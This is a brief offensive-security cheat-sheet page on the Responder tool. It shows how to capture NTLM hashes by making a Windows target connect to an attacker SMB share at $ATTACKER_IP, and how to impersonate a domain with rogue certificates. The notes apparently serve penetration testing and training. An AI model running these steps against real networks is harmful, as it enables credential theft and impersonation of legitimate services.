killchain-compendium/Exploits/Windows/Responder.md

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Responder

Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication

Usage

Grab NTLM Token

  • Setup responder
responder -I tun0 -wrvd
  • Open an Shell on the windows target and request the attacker's SMB a.k.a responder
dir \\$ATTACKER_IP\C$

Impersonate Domain -- Change Responder's certificates

  • After using nsupdate to add the attacker as a subdomain do the following tasks
  • Add a certificate and its private key to
/usr/share/responder/certs
  • Edit Responder.conf
[HTTPS Server]

; Configure SSL Certificates to use
SSLCert = certs/cert.pem
SSLKey = certs/key.pem
  • Start responder
responder -I <interface>